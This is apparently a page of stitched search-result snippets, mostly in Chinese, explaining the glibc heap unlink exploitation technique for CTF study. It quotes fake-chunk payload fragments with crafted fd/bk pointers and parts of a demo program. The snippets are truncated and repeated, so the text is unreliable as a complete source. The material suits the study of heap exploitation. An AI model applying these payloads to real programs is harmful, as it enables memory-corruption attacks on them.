首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址 个人理解就是根据上述三个检查机制构造3个chunk(其实这三个都是fake_...
在这里需要检查next chunk是否是空闲的(通过下下个chunk的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于chunk first而言的)的过程中,首先当前chunk+当前size可以引导到下个chunk,然后从下个chunk的开头加上下个chunk的size就可以引导到下下个chunk。但是我们已经把下个chunk的size覆盖为了-4...
payload = p64(0) #pre_size = 0 payload += p64(0x20) #fake size payload += p64(head + 0x10 - 0x18) #fake fd 左是fd 这里指向first thunk payload += p64(head + 0x10 - 0x10) #fake bk 到这里,刚好0 x20字节,刚好达到了fate thunk的大小,同时也到达了thunk2的底部 这里指向third ...
在这里需要检查next chunk是否是空闲的(通过下下个chunk的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于chunk first而言的)的过程中,首先当前chunk+当前size可以引导到下个chunk,然后从下个chunk的开头加上下个chunk的size就可以引导到下下个chunk。但是我们已经把下个chunk的size覆盖为了-4,...
payload+=p64(0x20)#size-->except the first line,the rest two line is equal to0x20?payload+=p64(head+16-0x18)#fd payload+=p64(head+16-0x10)#bk payload+=p64(0x20)# next chunk's prev_size bypass the check payload=payload.ljust(0x30,'a')# overwrite global[3]'s chunk's prev...
/* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS *2-2]; ...
所谓unlink就是为了取出双向链表中的一个chunk 那么什么时候需要取出双向链表中的chunk呢,也就是使用unlink的时机? malloc 在恰好大小的large chunk处取chunk时 在比请求大小大的bin中取chunk时 Free 后向合并,合并物理相邻低物理地址空闲chunk时 前向合并,合并物理相邻高物理地址空闲chunk时(top chunk除外) ...
printf("That is where we get our pointer write from. However in order to set this up, we will need to make a fake chunk that will pass three checks.\n"); printf("So let's start setting up the fake chunk.\n\n"); printf("The first check we need to worry about, is it checks...
Unlink是把free掉的chunk从所属的bins链中,卸下来的操作(当然还包括一系列的检测机制),它是在free掉一块chunk(除fastbin大小的chunk外)之后,glibc检查这块chunk相邻的上下两块chunk的free状态之后,做出的向后合并或者向前合并引起的。 向前、向后合并 p是指向free掉的chunk的指针(注意不是指向data的指针,是chunk),...
}; unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x80); // Points to 0xa0e010 chunk2 = malloc(0x80); // Points to 0xa0e0a0 ...